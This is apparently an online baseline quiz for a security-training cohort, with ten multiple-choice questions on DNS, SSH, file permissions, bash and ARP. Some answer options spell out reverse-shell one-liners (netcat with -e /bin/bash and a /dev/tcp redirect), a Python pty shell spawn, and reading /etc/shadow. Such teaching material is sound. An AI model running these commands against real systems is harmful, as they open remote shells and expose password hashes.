HackEd Laurel Cohort Baseline Assessment Quiz

A digital illustration depicting networking concepts, with computer icons, a Linux terminal, and graphical representations of DNS and ARP protocols.

HackEd Laurel Cohort Baseline Assessment Quiz

Test your knowledge of essential networking and Linux commands with our engaging quiz designed for tech enthusiasts and professionals alike.

This quiz covers:

Domain Name System (DNS) resolution
Secure shell (SSH) commands
File permission management
Environment variables in bash

10 Questions2 MinutesCreated by CodingEagle932

When your computer resolves a domain like "yahoo.com" to an IP address, what does it query?

DNS

SMTP

HTTP

ARP

What is the secure tool that best approximates the functionality provided by a telnet server?

SSLd

FTPd

SSHd

Secure FTPd

Which best approximates the command, "nc 192.168.1.23 12366 -e /bin/bash"?

Nc -nvlp 12366 -e /bin/bash

0<&196;exec 196<>/dev/tcp/192.168.1.23/12366; sh <&196 >&196 2>&196

Telnet 192.168.1.23 12366

Wget -m -r http://192.168.1.23:12366/

Which command provides a TTY shell with environmental variables?

Grep -e "ntpd\[[[:digit:]]\+\]" /var/log/messages.4

Use POSIX qw(uname); my @uname = uname(); print $uname[0] . " " . $uname[2];

: "${DEST:?Need to set DEST non-empty}"

Python -c 'import pty;pty.spawn("/bin/bash")'

Which command reads every .txt file in the current directory and cats the content?

Cat $f in {./*.txt}

Find ./ -iname *.txt

For f in *.txt; do cat $f; done

If [ -f && $_ == "*.txt" ]; then cat $_

How do you list (and only list) every file in the current directory (including hidden files)?

Ls -a

Ls -l

Find / -iname *.*

If you want to restrict access to a linux file to read/write access for the file owner and prohibit all others from any access, what is the proper command?

Chmod 766 file.txt

Chown user:only file.txt

Chattr 766 file.txt

Chmod 600 file.txt

If you want to see if a file has the word "dump" in it, the following command works in bash:

Cat file.txt | find "dump"

Cat file.txt | grep "dump"

Find "dump" -f file.txt

Type file.txt | search "dump"

Assuming you are root on a Linux machine with a bash shell, select the answer that moves the user prompt from the current directory to "/etc" and lists the file containing passwords on a modern day Linux distribution:

Cd /etc && cat shadow

Cd /etc && type shadow

Cat /etc/passwd

Cd /etc; cat passwd

The address resolution protocol is an essential part of making modern-day TCP/IP networks work. The ARP table on a computer maps:

Ports (80) to services (http)

IP addresses to domain names

Domain names to IP addresses

IP address to MAC address

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HackEd Laurel Cohort Baseline Assessment Quiz

HackEd Laurel Cohort Baseline Assessment Quiz

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